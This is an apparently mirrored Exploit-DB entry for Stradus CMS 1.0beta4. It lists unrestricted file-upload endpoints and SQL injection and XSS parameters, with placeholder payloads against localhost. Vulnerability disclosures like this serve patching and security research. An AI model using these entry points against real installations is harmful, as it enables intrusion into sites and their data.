Exploit Stradus CMS 1.0beta4 - Multiple Vulnerabilities

[Exploiter]

EDB-ID

24873

Проверка EDB

1. Пройдено

Автор

DAONE

Тип уязвимости

WEBAPPS

Платформа

PHP

CVE

null

Дата публикации

2013-03-22

Stradus CMS 1.0beta4 - Multiple Vulnerabilities

##########################################
[~] Exploit Title: Stradus CMS Multiple Vulnerabilities
[~] Date: 21-03-2013
[~] Author: DaOne aka Mocking Bird
[~] Vendor Homepage: http://stradus.eu/
[~] Software Link: http://sourceforge.net/projects/straduscms/
[~] Category: webapps/php
[~] Version: 1.0beta4
[~] Tested on: Apache/2.2.8(Win32) PHP/5.2.6
##########################################

# File Upload
http://localhost/SCMS_1.0/moduls/photo_album/upload.php
http://localhost/SCMS_1.0/moduls/simply_image/upload.php

# XSS / SQL Injection
http://localhost/SCMS_1.0/adminfiles/log_view.php?order_by={SQLi/XSS}
http://localhost/SCMS_1.0/moduls/photo_album/new.php?edit={SQLi/XSS}